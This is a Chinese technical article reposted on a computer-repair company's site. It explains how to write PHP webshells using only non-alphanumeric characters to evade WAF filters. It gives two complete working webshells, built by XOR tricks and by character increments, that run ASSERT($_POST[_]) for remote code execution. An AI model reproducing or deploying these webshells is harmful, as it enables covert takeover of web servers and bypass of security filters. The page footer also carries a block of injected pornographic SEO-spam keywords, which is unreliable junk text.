錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
通過非數字和字符的方式實現PHP WebShell

作者: 佚名  日期:2017-07-02 11:36:52   來源: 本站整理

 
話不多說,我們直奔主題!
一般來說,我們所寫的webshell通常都會包含數字或字母。比如說下面這樣:
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){
eval($_GET['shell']);
}
但如果你想要繞過WAF的話,你還得使用一些其他的技術來重寫你的webshell。
思路
首先我們要明確思路,我的核心思想就是通過一系列字符變換最終利用非字母和非數字字符構建出webshell,然后使用PHP的動態函數(例如“assert”)來完成函數名的拼接,最后動態執行構建出來的代碼。
所以,轉換方法就是解決這一問題的重點了。但是在開始之前,我需要跟大家討論以下php5和php7之間的區別。
php5的斷言(assert)是通過函數實現的,我們可以使用$f=’assert’;$f(…);這種方法來動態執行任意代碼。但是在php7中,斷言已經不再是一個函數了,而是一種語言結構(類似eval),而且斷言(assert)也無法再作為函數名來實現代碼的動態執行了,所以對于php7來說,問題可能會變得更加復雜了。不過各位也不用太過擔心,因為我們可以使用 file_put_contents函數來達到我們的目的。
為了方便起見,本文的實驗環境使用的是php5,關于php7的利用方式就請各位自行去探索啦:D
方法一
這是一種最簡單的方法了。在php中,我們可以通過異或運算(XOR)來得到一個或兩個字符串。因此,如果我們想要得到一個a-z之間的英文字符,我們就可以通過兩個非字母字符和字符數來生成所需要的字母字符。示例代碼如下:
'%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
解析結果如下:

方法二
在這種方法中,我們可以使用一些特殊的小技巧來實現我們的目標。首先,請大家參考php.net的這份文檔:【傳送門】
文檔中寫到:“在處理字符變量的算術運算時,PHP遵循的是Perl的規范,而并非C語言規范。比如說在PHP和Perl中,$a = ‘Z’; $a++;經過計算之后變量$a會變成 ‘AA’,但是在C語言中,a = ‘Z’; a++;計算后會將a變為‘[’(‘Z’的ASCII值為90,‘[’的ASCII值為91)。請注意,字符變量可以進行自增運算但無法進行自減運算,而且只有ASCII字母和數字(a-z,A-Z,0-9)才支持這種運算,如果對其他字符變量進行這種運算將不會有任何作用,此時的原始字符串將保持不變。”
那么接下來,我們應該如何才能得到一個包含字符‘a’的變量呢?
字符串“Array”的首字母是一個大寫的‘A’,而第四個字母則是一個小寫的‘a’。換句話說,我們可以通過這個字符串同時得到大寫和小寫的字母‘a’(A),這也就意味著我們可以通過這種方法得到a-z和A-Z中任意一個字母字符。
比如說在PHP中,如果你想拼接數組和字符串,那么你首先要將字符串(array)轉換成一個字符串(這個字符串的值為Array):

然后截取字符串的首字母,我們就得到了‘A’。
利用這項技術,我編寫了如下所示的webshell(由于PHP函數是對大小寫敏感的,所以我在結尾補上了ASSERT($_POST[_])):
"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T
 $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
解析結果如下圖所示:

總結
很多網站現在都會對特殊字符進行過濾和檢測,因此希望這項技術可以給各位Web滲透測試人員提供一些解決問題的思路。 
 



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 久久无码人妻一区二区三区| 无码人妻品一区二区三区精99 | 亚洲色偷拍另类无码专区| 少妇无码AV无码一区| 久久久无码精品亚洲日韩京东传媒| 日韩经典精品无码一区| 久久精品岛国av一区二区无码| 无码午夜人妻一区二区不卡视频 | 国产成人无码区免费A∨视频网站| 久久午夜夜伦鲁鲁片无码免费| 亚洲精品97久久中文字幕无码| 亚洲中文字幕无码中文字| 亚洲AV无码成人精品区天堂| 秋霞鲁丝片无码av| 国产怡春院无码一区二区| 精品成在人线AV无码免费看| 亚洲V无码一区二区三区四区观看| 内射无码专区久久亚洲| 亚洲av成本人无码网站| 精品久久久久久无码专区| 蜜桃臀AV高潮无码| 亚洲av福利无码无一区二区| 亚洲一区精品无码| 国产精品VA在线观看无码不卡| 亚洲精品一级无码中文字幕| 欧日韩国产无码专区| 无码专区国产无套粉嫩白浆内射| 无码狠狠躁久久久久久久| 精品久久久久久无码中文野结衣 | 无码国产精品一区二区免费| 久久精品中文字幕无码绿巨人| 亚洲欧洲日产国码无码久久99| 国产精品va在线观看无码| 内射无码午夜多人| 国产综合无码一区二区辣椒 | 国产午夜无码精品免费看动漫| 日本无码小泬粉嫩精品图| V一区无码内射国产| 中文字幕无码乱人伦| 国产午夜无码精品免费看动漫| 无码人妻少妇色欲AV一区二区|